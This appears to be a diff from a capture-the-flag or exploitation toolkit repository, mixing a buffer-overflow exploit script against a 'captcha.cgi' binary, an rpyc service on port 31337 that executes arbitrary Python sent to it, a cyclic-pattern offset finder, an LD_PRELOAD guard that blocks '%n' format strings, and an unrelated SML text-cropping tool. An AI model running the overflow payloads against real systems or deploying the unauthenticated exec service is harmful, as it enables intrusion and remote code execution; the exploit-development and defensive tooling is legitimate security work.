req = b'GET ' + bytes(path, 'ASCII')
req += _make_querystring(q,t_s,v)
s.sendall(req + b' HTTP/1.1\r\n')
s.sendall(b'Host: ' + bytes(host, 'ASCII') + b'\r\n')
if useragent != None:
s.sendall(b'User-Agent: '+useragent+b'\r\n')
else:
s.sendall(b'User-Agent: foobar\r\n')
s.sendall(b'\r\n')
buf = b''
while True:
chunk = s.recv(1024)
if chunk == b'':
break
buf += chunk
return buf
def request_local(q,t_s = None, v = None, useragent = None, debug=False):
if debug:
args = ['/usr/bin/gdbserver', '--once', 'localhost:23946', './captcha.cgi']
else:
args = ['./captcha.cgi']
env = {
'REQUEST_METHOD': 'GET',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '4242',
'HTTP_USER_AGENT': useragent if useragent != None else 'foobar',
'QUERY_STRING': _make_querystring(q,t_s,v),
'PATH': os.environ['PATH']
}
p = Popen(args, bufsize = 4096, env = env,
stdin=PIPE, stdout=PIPE, stderr=PIPE)
buf = b''
while True:
chunk = p.stdout.read(1024)
if chunk == b'':
break
buf += chunk
return buf
def overflow_qs(t_s, v, user_agent, t_s_buf_pointer, remote_port, name_100_buffer, remote_addr, mmap_flags, use_malloc, pad_ts, pad_v, pad_flags = b'xxx'):
overflow_size = b'9' if use_malloc else b'7'
t_s_param = t_s + bytes.ljust(pad_ts, 22, b'0') + overflow_size
v_param = v + bytes.ljust(pad_v, 24, b'0')
v_param += struct.pack('<L', user_agent)
v_param += struct.pack('<L', t_s_buf_pointer)
v_param += struct.pack('<L', remote_port)
v_param += struct.pack('<L', name_100_buffer)
v_param += struct.pack('<L', remote_addr)
v_param += bytes.ljust(pad_flags, 3, b'x')
v_param += struct.pack('B', mmap_flags)
if use_malloc:
v_param += b'1'
return (t_s_param, v_param)
def exploit1_qs(t_s, v):
str1_pos = 0x08049701
null1_pos = 0x08049734
#t_s_buf_pos_bin = struct.pack('<L', t_s_buf_pos)
#return overflow_qs(t_s, v, str1_pos, null1_pos, 0x08048E46, str1_pos, 0x08048DEB, 0x32, False, b'', b'')
return overflow_qs(t_s, v, str1_pos, null1_pos, 0x08048824, str1_pos, 0x08048DEB, 0x32, False, b'', b'')
def exploit2_qs(t_s, v):
str1_pos = 0x08049701
null1_pos = 0x08049734
#t_s_buf_pos_bin = struct.pack('<L', t_s_buf_pos)
return overflow_qs(t_s, v, str1_pos, null1_pos, 0x08048E46, str1_pos, 0x08048DEB, 0x32, False, b'', b'')
+4
View File
@@ -0,0 +1,4 @@
step 1. run `python registry_server.py -m tcp`
step 2. run `python server.py`
step 3. ???
step 4. profit!
+12
View File
@@ -0,0 +1,12 @@
from pwn import *
import rpyc
from rpyc.utils.registry import TCPRegistryClient
import socket
def cloud(code):
hostname = socket.gethostbyname(socket.gethostname())
hostinfo, _ = rpyc.discover('CLOUD', registrar = TCPRegistryClient(hostname))
ip, port = hostinfo
c = rpyc.connect(ip, port)
return c.root.doit(code)
+51
View File
@@ -0,0 +1,51 @@
#!/usr/bin/env python
"""
The registry server listens to broadcasts on UDP port 18812, answering to
discovery queries by clients and registering keepalives from all running
servers. In order for clients to use discovery, a registry service must
be running somewhere on their local network.
"""
from optparse import OptionParser
from rpyc.utils.registry import REGISTRY_PORT, DEFAULT_PRUNING_TIMEOUT
from rpyc.utils.registry import UDPRegistryServer, TCPRegistryServer
from rpyc.lib import setup_logger
import logging
parser = OptionParser()
parser.add_option("-m", "--mode", action="store", dest="mode", metavar="MODE",
default="udp", type="string", help="mode can be 'udp' or 'tcp'")
parser.add_option("-p", "--port", action="store", dest="port", type="int",
metavar="PORT", default=REGISTRY_PORT, help="specify a different UDP/TCP listener port")
parser.add_option("-f", "--file", action="store", dest="logfile", type="str",
metavar="FILE", default=None, help="specify the log file to use; the default is stderr")
parser.add_option("-q", "--quiet", action="store_true", dest="quiet",
default=False, help="quiet mode (only errors are logged)")
parser.add_option("-t", "--timeout", action="store", dest="pruning_timeout",
type="int", default=DEFAULT_PRUNING_TIMEOUT, help="sets a custom pruning timeout")
def main():
logging.basicConfig(level=logging.INFO)
log = logging.getLogger('CloudServer')
options, args = parser.parse_args()
if args:
raise ValueError("does not take positional arguments: %r" % (args,))
if options.port < 1 or options.port > 65535:
raise ValueError("invalid TCP/UDP port %r" % (options.port,))
if options.mode.lower() == "udp":
server = UDPRegistryServer(port = options.port,
pruning_timeout = options.pruning_timeout, logger = log)
elif options.mode.lower() == "tcp":
server = TCPRegistryServer(port = options.port,
pruning_timeout = options.pruning_timeout, logger = log)
else:
raise ValueError("invalid mode %r" % (options.mode,))
setup_logger(options)
server.start()
if __name__ == "__main__":
main()
+34
View File
@@ -0,0 +1,34 @@
#!/usr/bin/env python
import rpyc
from rpyc.utils.registry import TCPRegistryClient
class CloudService(rpyc.Service):
def on_connect(self):
print "Incoming connection"
pass
def on_disconnect(self):
print "Closing connection"
pass
def exposed_doit(self, code):
'''Execute arbitrary python code, given as a string, and returns the namespace in which it was executed.
'''
cloud = {}
try:
exec(code) in cloud
except:
pass
return cloud
if __name__ == "__main__":
from rpyc.utils.server import ThreadedServer
import logging
import socket
logging.basicConfig(level=logging.INFO)
log = logging.getLogger('CloudServer')
hostname = socket.gethostbyname(socket.gethostname())
t = ThreadedServer(CloudService, hostname=hostname, port = 31337, registrar = TCPRegistryClient(hostname), logger = log)
t.start()
+4
View File
@@ -0,0 +1,4 @@
.PHONY: all
all:
premlton src/crop.mlb
mv src/crop bin/crop
Executable
BIN
View File
Binary file not shown.
Submodule
+1
Submodule crop/mylib added at 0aa9e1e66f.
+16
View File
@@ -0,0 +1,16 @@
signature Log =
sig
datatype level = Debug
| Verbose
| Chatty
| Normal
| Quiet
val setLevel : level -> unit
val setIndentation : int -> unit
val indent : int -> unit
val debug : string -> unit
val verbose : string -> unit
val chatty : string -> unit
val normal : string -> unit
val warning : string -> unit
end
+49
View File
@@ -0,0 +1,49 @@
structure Log :> Log =
struct
datatype level = Debug
| Verbose
| Chatty
| Normal
| Quiet
val level = ref Normal
val ind = ref 0
fun setLevel l = level := l
fun setIndentation n = ind := n
fun indent n = ind := (!ind + n)
fun print s = if !ind > 0
then println (String.spaces (!ind) ^ s)
else println s
fun debug s =
if !level = Debug
then print s
else ()
fun verbose s =
if !level = Verbose
then print s
else debug s
fun chatty s =
if !level = Chatty
then print s
else verbose s
fun normal s =
if !level <> Quiet
then print s
else ()
fun warning s =
(TextIO.output (TextIO.stdErr,
if !level = Quiet
then s ^ "\n"
else String.spaces (!ind) ^ s ^ "\n"
)
; TextIO.flushOut TextIO.stdErr)
end
+10
View File
@@ -0,0 +1,10 @@
local
$(SML_LIB)/basis/basis.mlb
../mylib/MyLib.mlb
in
Log.sig
Log.sml
%pre main.sml
%pre go.sml
end
+146
View File
@@ -0,0 +1,146 @@
val version = "0.0.1"
fun usage name =
map println
["usage: % rect [rect ...] [options]" <- name
, ""
, "Rect:"
, " <line skip>,<line count>,<char skip>,<char count>"
, "Options:"
, " -w<n>, --window <n>"
, " Repeat for every n lines"
, " -n, --no-linefeed"
, " -o <file>"
]
fun printVersionAndExt () = (println ("crop version " ^ version)
; OS.Process.exit OS.Process.success)
fun printUsageAndExit () = (usage $ CommandLine.name ()
; OS.Process.exit OS.Process.success)
fun die e = (Log.warning e ; OS.Process.exit OS.Process.failure)
local
val window = ref NONE
val rects = ref nil
val nlf = ref false
val src = ref NONE
val dst = ref NONE
fun setWindow x = window := SOME x
fun setNLF x = nlf := true
fun addRect r = rects := r :: !rects
fun setSrc x = case !src of
SOME s => raise Fail ("Only one source file allowed \
\(you already told me '" ^ s ^ "')")
| NONE => src := SOME x
fun setDst x = dst := SOME x
fun getOpt () =
let
val src = case !src of
SOME f => TextIO.openIn f
| NONE => TextIO.stdIn
val dst = case !dst of
SOME f => TextIO.openOut f
| NONE => TextIO.stdOut
in
(!window, !rects, !nlf, src, dst)
end
handle IO.Io {cause = OS.SysErr (desc, _), name, ...} =>
raise Fail (desc ^ ": '" ^ name ^ "'")
in
fun parseArgs args =
let open Parser val op >>= = op -->
open (oneOf) Text
open (comma, dash) Symb
infix 0 |||
infix 1 --- |-- --| ^^^ ::: @@@
infix 2 >>> >>= ??? produce underlies
fun unknownOpt k v =
raise Fail ("Unknown option (%): %" <- k <- v)
val args =
List.concatMap
(fn arg =>
case explode arg of
#"-" :: c :: cs =>
if Char.isAlpha c andalso not $ null cs
then [String.substring (arg, 0, 2)
, String.extract (arg, 2, NONE)]
else [arg]
| _ => [arg])
args
val window =
do tok <- any
; return
(case Int.fromString tok of
SOME n => setWindow n
| NONE => unknownOpt "--window" tok
)
end
val num = many1 $ oneOf "0123456789-" >>> implode
val coord = num >>> (0 \> Option.getOpt o Int.fromString)
||| dash produce 0
val rect =
do y <- coord
; comma
; b <- coord
; comma
; x <- coord
; comma
; a <- coord
; return ((y, b), (x, a))
end
fun help ? = (return $ printUsageAndExit ()) ?
val one =
do tok <- any
; case tok of
"--window" => window
| "-w" => window
| "-no-linefeed" => return $ setNLF ()
| "-n" => return $ setNLF ()
| "-o" => any >>> setDst
| "--help" => help
| "-h" => help
| "-?" => help
| "--version" => return $ printVersionAndExt ()
| _ => return
(case Parse.string rect tok of
Right r => addRect r
| Left _ => setSrc tok
)
end
val parse =
do many' one
; eof
end
in
case Parse.list parse args of
Right _ => getOpt ()
| Left ({token = SOME x, ...} :: _) =>
raise Fail ("Could not parse command line arguments\
\ (failed on '" ^ x ^ "')")
| Left _ =>
raise Fail ("Could not parse command line arguments")
end
end
fun verify (args as (window, rects, _, _, _)) =
((if null rects
then raise Fail "No rects given"
else ())
; Option.map (fn n => if n <= 0
then raise Fail "Window must be strictly positive"
else ()) window
; args
)
fun go () =
main $ verify $ parseArgs $ CommandLine.arguments ()
handle Fail s => die s
val _ = go ()
+61
View File
@@ -0,0 +1,61 @@
fun main (window, rects, nlf, src, dst) =
let
(* val lines = String.fields (#"\n" \< op=) $ TextIO.inputAll src *)
val lines =
let
fun loop () =
case TextIO.inputLine src of
SOME line =>
String.substring (line, 0, size line - 1) :: loop ()
| NONE => nil
in
loop ()
end
val numLines = length lines
val window = getOpt (window, numLines)
fun correct e (x, a) =
(* x absolute, a relative *)
if x >= 0 andalso a > 0
then (x, x + a)
(* x relative, a absolute *)
else if x < 0 andalso a <= 0
then (e + a + x, e + a)
(* both absolute *)
else if x >= 0 andalso a <= 0
then (x, e + a)
(* both relative -- an error *)
else raise Fail ("Both indexes relative: " ^
Show.pair Show.int Show.int (x, a))
val rects =
map (Pair.mapFst $ correct window) rects
fun line (n, l) =
let
val len = size l
val (min, max) =
foldl (fn ((b, e), (min, max)) =>
(Int.min (b, min), Int.max (e, max))
) (len, ~1) $
map (fn (_, x) => correct len x) $
List.filter (fn ((y, b), _) =>
let
val offset = n mod window
in
offset >= y andalso offset < b
end
) rects
val max = Int.min (max, len)
in
TextIO.output (dst, String.substring (l, min, max - min))
; if not nlf
then TextIO.output (dst, "\n")
else ()
end
handle Subscript => ()
in
app line $ ListPair.zip (List.tabulate (numLines, id), lines)
end
Executable
+48
View File
@@ -0,0 +1,48 @@
#!/usr/bin/env python
import pwn, sys, argparse, string
from pwn import de_bruijn, de_bruijn_find
if __name__ == "__main__":
p = argparse.ArgumentParser(description="Cyclic pattern creator/finder")
p.add_argument('-a', '--alphabet',
metavar = '<alphabet>',
default = string.ascii_lowercase,
help = 'The alphabet to use in the cyclic pattern',
)
p.add_argument('-l', '--large-alphabet',
action = 'store_true',
help = 'Use a large alphabet (digits, letters, punctuation)',
)
p.add_argument('-o', '--offset',
action = 'store_true',
help = 'Find offset of substring in cyclic pattern (given as hex (0x...), integer or string)',
)
p.add_argument('patsize',
metavar = '<pattern|size>',
help = 'Depending on the -o flag, 1) the desired size of the created pattern, or 2) the subpattern to find the offset of',
)
args = p.parse_args()
if args.large_alphabet:
alph = string.digits + string.ascii_letters + string.punctuation
else:
alph = args.alphabet
if args.offset:
pat = args.patsize
if pat.startswith('0x'):
pat = pwn.p32(int(pat[2:], 16) & 0xffffffff)
elif pat.isdigit():
pat = pwn.p32(int(pat, 10) & 0xffffffff)
else:
pat = pat[:4]
if len(pat) < 4:
pwn.die('Subpattern must be 4 bytes')
offset = de_bruijn_find(pat, alph)
if offset == -1:
pwn.log.fail('Given pattern does not exist in cyclic pattern')
else:
print offset
else:
print de_bruijn(int(args.patsize))
+3
View File
@@ -0,0 +1,3 @@
*.o
*.so
test
+34
View File
@@ -0,0 +1,34 @@
TARGETS=liboverride-32.so liboverride-64.so
CSRCS=$(shell find . -maxdepth 1 -name "*.c")
LIBS32=$(patsubst %.c,%.32.o,$(CSRCS)) ld-override.32.o
LIBS64=$(patsubst %.c,%.64.o,$(CSRCS)) ld-override.64.o
CFLAGS=-shared -Wall -Werror -fno-builtin -fPIC
DEPFILE=.depend
CC=gcc
LDFLAGS=-ldl
CTAGS=ctags -lc++
all: $(TARGETS)
clean:
rm -f $(TARGETS) $(LIBS32) $(LIBS64)
liboverride-32.so: $(LIBS32)
$(CC) $(CFLAGS) -shared -o $@ $^ $(LDFLAGS) -m32
liboverride-64.so: $(LIBS64)
$(CC) $(CFLAGS) -shared -o $@ $^ $(LDFLAGS)
%.32.o: %.32.asm
nasm -felf32 -o $@ $<
%.64.o: %.64.asm
nasm -felf64 -o $@ $<
%.32.o: %.c
$(CC) -c $(CFLAGS) -o $@ $< -m32
%.64.o: %.c
$(CC) -c $(CFLAGS) -o $@ $<
.PHONY: all clean
+26
View File
@@ -0,0 +1,26 @@
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include "ld-override.h"
void lookup_function(struct _override *function) {
char *msg;
if(function->function_addr != NULL) return;
function->function_addr = dlsym(RTLD_NEXT, function->function_name);
if ((msg = dlerror()) != NULL) {
fprintf(stderr, "dlsym failed for symbol %s: %s\n", function->function_name, msg);
fflush(stderr);
exit(1);
}
}
/*
void wrapper() {}
void skip_real(uintptr_t n) {}
*/
void consistency_check(struct _save_state *state) {}
+109
View File
@@ -0,0 +1,109 @@
[bits 32]
section .text
global wrapper
global skip_real
extern consistency_check
extern lookup_function
extern thread_stack
extern rand
struc STATE
.EBX: resd 1
.EBP: resd 1
.EDI: resd 1
.ESI: resd 1
.ESP: resd 1
.FUNCTION: resd 1
.EIP: resd 1
endstruc
struc FUNCTION
.REAL: resd 1
.WRAPPER: resd 1
.NAME: resd 1
endstruc
wrapper:
; Fill in the missing pieces to make a valid _save_state
push esp
add dword [esp], 4
push esi
push edi
push ebp
push ebx
; Call consistency_check with a pointer to the _save_state
push esp
call consistency_check
add esp, 4
; Make sure the function pointer is valid
push dword [esp+STATE.FUNCTION]
call lookup_function
add esp, 4
; Save state on thread_stack
; Results in everything but the arguments themselves being popped
call thread_stack
add dword [eax], STATE_size
mov eax, [eax]
xor ecx, ecx
.loop:
pop edx
mov [eax-STATE_size+ecx], edx
add ecx, 4
cmp ecx, STATE_size
jl .loop
; Call the wrapper function
mov edx, [eax-STATE_size+STATE.FUNCTION]
mov edx, [edx+FUNCTION.WRAPPER]
call edx
; Call the real function
call thread_stack
mov eax, [eax]
mov edx, [eax-STATE_size+STATE.FUNCTION]
mov edx, [edx+FUNCTION.REAL]
call edx
; Make the return value be an argument to skip_real
push eax
push eax
skip_real:
; Find the thread_stack
call thread_stack
mov ecx, [eax]
; Get the value to return when done from the stack
pop edx
pop edx
; Restore callee-saved values
mov ebx, [ecx-STATE_size+STATE.EBX]
mov ebp, [ecx-STATE_size+STATE.EBP]
mov edi, [ecx-STATE_size+STATE.EDI]
mov esi, [ecx-STATE_size+STATE.ESI]
mov esp, [ecx-STATE_size+STATE.ESP]
mov ecx, [ecx-STATE_size+STATE.EIP]
mov [esp], ecx
; Clean up the thread_stack
sub dword [eax], STATE_size
; Push the return value to the local stack
push edx
; Put garbage on ecx and edx
call rand
mov ecx, eax
call rand
mov edx, eax
; Return
pop eax
ret
+168
View File
@@ -0,0 +1,168 @@
[bits 64]
section .text
global wrapper
global skip_real
extern consistency_check
extern lookup_function
extern thread_stack
extern rand
struc STATE
.RAX: resq 1
.RBX: resq 1
.RCX: resq 1
.RDX: resq 1
.RBP: resq 1
.RDI: resq 1
.RSI: resq 1
.R8: resq 1
.R9: resq 1
.R10: resq 1
.R12: resq 1
.R13: resq 1
.R14: resq 1
.R15: resq 1
.RSP: resq 1
.FUNCTION: resq 1
.RIP: resq 1
endstruc
struc FUNCTION
.REAL: resq 1
.WRAPPER: resq 1
.NAME: resq 1
endstruc
wrapper:
; Fill in the missing pieces to make a valid _save_state
push rsp
add qword [rsp], 8
push r15
push r14
push r13
push r12
push r10
push r9
push r8
push rsi
push rdi
push rbp
push rdx
push rcx
push rbx
push rax
; Call consistency_check with a pointer to the _save_state
mov rdi, rsp
mov qword r11, consistency_check
call r11
; Make sure the function pointer is valid
mov rdi, [rsp+STATE.FUNCTION]
mov qword r11, lookup_function
call r11
; Save state on thread_stack
; Results in everything but the arguments themselves being popped
mov qword r11, thread_stack
call r11
add qword [rax], STATE_size
mov r11, [rax]
xor rcx, rcx
.loop:
pop rdx
mov [r11-STATE_size+rcx], rdx
add rcx, 8
cmp rcx, STATE_size
jl .loop
; Call the wrapper function
mov rax, [r11-STATE_size+STATE.RAX]
mov rcx, [r11-STATE_size+STATE.RCX]
mov rdx, [r11-STATE_size+STATE.RDX]
mov rdi, [r11-STATE_size+STATE.RDI]
mov rsi, [r11-STATE_size+STATE.RSI]
mov r8, [r11-STATE_size+STATE.R8]
mov r9, [r11-STATE_size+STATE.R9]
mov r10, [r11-STATE_size+STATE.R10]
mov r11, [r11-STATE_size+STATE.FUNCTION]
mov r11, [r11+FUNCTION.WRAPPER]
call r11
; Call the real function
mov qword r11, thread_stack
call r11
mov r11, [rax]
mov rax, [r11-STATE_size+STATE.RAX]
mov rcx, [r11-STATE_size+STATE.RCX]
mov rdx, [r11-STATE_size+STATE.RDX]
mov rdi, [r11-STATE_size+STATE.RDI]
mov rsi, [r11-STATE_size+STATE.RSI]
mov r8, [r11-STATE_size+STATE.R8]
mov r9, [r11-STATE_size+STATE.R9]
mov r10, [r11-STATE_size+STATE.R10]
mov r11, [r11-STATE_size+STATE.FUNCTION]
mov r11, [r11+FUNCTION.REAL]
call r11
; Make the return value be an argument to skip_real
mov rdi, rax
skip_real:
push rdi
; Find the thread_stack
mov qword r11, thread_stack
call r11
mov r11, [rax]
; Get the value to return when done from the stack
pop rdx
; Restore callee-saved values
mov rbx, [r11-STATE_size+STATE.RBX]
mov rbp, [r11-STATE_size+STATE.RBP]
mov r12, [r11-STATE_size+STATE.R12]
mov r13, [r11-STATE_size+STATE.R13]
mov r14, [r11-STATE_size+STATE.R14]
mov r15, [r11-STATE_size+STATE.R15]
mov rsp, [r11-STATE_size+STATE.RSP]
mov r11, [r11-STATE_size+STATE.RIP]
mov [rsp], r11
; Clean up the thread_stack
sub qword [rax], STATE_size
; Push the return value to the local stack
push rdx
; Get a lot of garbage and put it on the stack
xor rcx, rcx
mov ecx, (2*8)
.loop2:
push rcx
mov qword rax, rand
call rax
pop rcx
shl rax, 32
push rax
add rsp, 4
loop .loop2
pop rcx
pop rdx
pop rsi
pop rdi
pop r8
pop r9
pop r10
pop r11
; Return
pop rax
ret
+61
View File
@@ -0,0 +1,61 @@
#ifndef __LD_OVERRIDE
#define __LD_OVERRIDE
#include <stdint.h>
#include <stdlib.h>
struct _override {
void* function_addr;
void* wrapper_addr;
char *function_name;
};
#define constructor __attribute__((constructor))
#ifdef __i386__
#define WRAP(FUNCTION) \
struct _override _##FUNCTION##_override = { NULL, (void*) FUNCTION##_wrapper, #FUNCTION }; \
extern void FUNCTION (); \
__asm(".text\r\n" \
".globl " #FUNCTION "\r\n" \
".type " #FUNCTION ", @function\r\n" \
#FUNCTION ":\r\n" \
"push $_" #FUNCTION "_override\r\n" \
"jmp wrapper" \
)
#else
#define WRAP(FUNCTION) \
struct _override _##FUNCTION##_override = { NULL, (void*) FUNCTION##_wrapper, #FUNCTION }; \
extern void FUNCTION (); \
__asm(".text\r\n" \
".globl " #FUNCTION "\r\n" \
".type " #FUNCTION ", @function\r\n" \
#FUNCTION ":\r\n" \
"movabs $_" #FUNCTION "_override, %r11\r\n" \
"push %r11\r\n" \
"movabs $wrapper, %r11\r\n" \
"jmp *%r11\r\n" \
)
#endif
struct _save_state {
#ifdef __i386__
uintptr_t ebx, ebp, edi, esi, esp;
struct _override *function_override;
uintptr_t eip;
#else
uintptr_t rax, rbx, rcx, rdx, rbp, rdi, rsi, r8, r9, r10, r12, r13, r14, r15, rsp;
struct _override *function_override;
uintptr_t rip;
#endif
};
void wrapper();
void skip_real(uintptr_t retval);
void lookup_function(struct _override *function);
void consistency_check(struct _save_state *state);
#endif
+263
View File
@@ -0,0 +1,263 @@
#include "ld-override.h"
#include <stdlib.h>
void puts(char *);
char *parse_format(char *);
wchar_t *parse_format_wide(wchar_t *);
void check_format_string(char *s) {
char *i = s;
while (*i != '\0') {
if (*i != '%') {
i++;
continue;
}
else {
i++;
// puts("printf: parsing format string");
i = parse_format(i);
}
}
}
char *parse_format(char *i) {
// Flags
while(*i == '#' ||
*i == '0' ||
*i == '-' ||
*i == ' ' ||
*i == '+' ||
*i == 'I' ||
*i == '\'') {
// puts("printf: parsing flags");
i++;
}
// Field width
while(*i == '0' ||
*i == '1' ||
*i == '2' ||
*i == '3' ||
*i == '4' ||
*i == '5' ||
*i == '6' ||
*i == '7' ||
*i == '8' ||
*i == '9') {
// puts("printf: parsing field width");
i++;
}
// Precision modifier
while(*i == '.' ||
*i == '*' ||
*i == '$' ||
*i == '0' ||
*i == '1' ||
*i == '2' ||
*i == '3' ||
*i == '4' ||
*i == '5' ||
*i == '6' ||
*i == '7' ||
*i == '8' ||
*i == '9') {
// puts("printf: parsing precision modifier");
i++;
}
// Length modifier
while(*i == 'h' ||
*i == 'l' ||
*i == 'L' ||
*i == 'q' ||
*i == 'j' ||
*i == 'z' ||
*i == 't') {
// puts("printf: parsing length modifier");
i++;
}
if(*i == 'n') {
puts("NU DØR BABY!");
exit(1337);
}
i++;
return i;
}
void check_format_string_wide(wchar_t *s) {
wchar_t *i = s;
while (*i != '\0') {
if (*i != '%') {
i++;
continue;
}
else {
i++;
// puts("printf: parsing format string");
i = parse_format_wide(i);
}
}
}
wchar_t *parse_format_wide(wchar_t *i) {
// Flags
while(*i == '#' ||
*i == '0' ||
*i == '-' ||
*i == ' ' ||
*i == '+' ||
*i == 'I' ||
*i == '\'') {
// puts("printf: parsing flags");
i++;
}
// Field width
while(*i == '0' ||
*i == '1' ||
*i == '2' ||
*i == '3' ||
*i == '4' ||
*i == '5' ||
*i == '6' ||
*i == '7' ||
*i == '8' ||
*i == '9') {
// puts("printf: parsing field width");
i++;
}
// Precision modifier
while(*i == '.' ||
*i == '*' ||
*i == '$' ||
*i == '0' ||
*i == '1' ||
*i == '2' ||
*i == '3' ||
*i == '4' ||
*i == '5' ||
*i == '6' ||
*i == '7' ||
*i == '8' ||
*i == '9') {
// puts("printf: parsing precision modifier");
i++;
}
// Length modifier
while(*i == 'h' ||
*i == 'l' ||
*i == 'L' ||
*i == 'q' ||
*i == 'j' ||
*i == 'z' ||
*i == 't') {
// puts("printf: parsing length modifier");
i++;
}
if(*i == 'n') {
puts("NU DØR BABY!");
exit(1337);
}
i++;
return i;
}
void printf_wrapper(char *s) {
check_format_string(s);
}
void dprintf_wrapper(int ignore, char *s) {
check_format_string(s);
}
void asprintf_wrapper(int ignore, char *s) {
check_format_string(s);
}
void vasprintf_wrapper(int ignore, char *s) {
check_format_string(s);
}
void vdprintf_wrapper(int ignore, char *s) {
check_format_string(s);
}
void fprintf_wrapper(int ignore, char *s) {
check_format_string(s);
}
void sprintf_wrapper(int ignore, char *s) {
check_format_string(s);
}
void snprintf_wrapper(int ignore, int ignore2, char *s) {
check_format_string(s);
}
void vprintf_wrapper(char *s) {
check_format_string(s);
}
void vfprintf_wrapper(int ignore, char *s) {
check_format_string(s);
}
void vsprintf_wrapper(int ignore, char *s) {
check_format_string(s);
}
void vsnprintf_wrapper(int ignore, int ignore2, char *s) {
check_format_string(s);
}
// Wide chars
void wprintf_wrapper(wchar_t *s) {
check_format_string_wide(s);
}
void fwprintf_wrapper(int ignore, wchar_t *s) {
check_format_string_wide(s);
}
void swprintf_wrapper(int ignore, int ignore2, wchar_t *s) {
check_format_string_wide(s);
}
void vwprintf_wrapper(wchar_t *s) {
check_format_string_wide(s);
}
void vfwprintf_wrapper(int ignore, wchar_t *s) {
check_format_string_wide(s);
}
void vswprintf_wrapper(int ignore, int ignore2, wchar_t *s) {
check_format_string_wide(s);
}
WRAP(printf);
WRAP(asprintf);
WRAP(vasprintf);
WRAP(dprintf);
WRAP(vdprintf);
WRAP(fprintf);
WRAP(sprintf);
WRAP(snprintf);
WRAP(vprintf);
WRAP(vfprintf);
WRAP(vsprintf);
WRAP(vsnprintf);
// Wide
WRAP(wprintf);
WRAP(fwprintf);
WRAP(swprintf);
WRAP(vwprintf);
WRAP(vfwprintf);
WRAP(vswprintf);
+23
View File
@@ -0,0 +1,23 @@
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include "ld-override.h"
void srand_wrapper(int seed);
WRAP(srand);
void constructor fix_srand () {
int fd = open("/dev/urandom",O_RDONLY);
int seed;
read(fd, &seed, sizeof(seed));
lookup_function(&_srand_override);
((void (*)()) _srand_override.function_addr) (seed);
}
void srand_wrapper(int seed) {
skip_real(0);
}
+15
View File
@@ -0,0 +1,15 @@
#include <sys/mman.h>
#include <stdlib.h>
#include "thread-stack.h"
static __thread void* local_thread_stack = NULL;
void** thread_stack() {
if(local_thread_stack == NULL) {
local_thread_stack = mmap(NULL, 8192, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
}
return &local_thread_stack;
}
+6
View File
@@ -0,0 +1,6 @@
#ifndef __THREAD_STACK
#define __THREAD_STACK
void** thread_stack();
#endif
+1
View File
@@ -0,0 +1 @@
192.168.25.1
Loaded 100 of 1814 files, more files were not shown because too many files have changed in this diff. Show more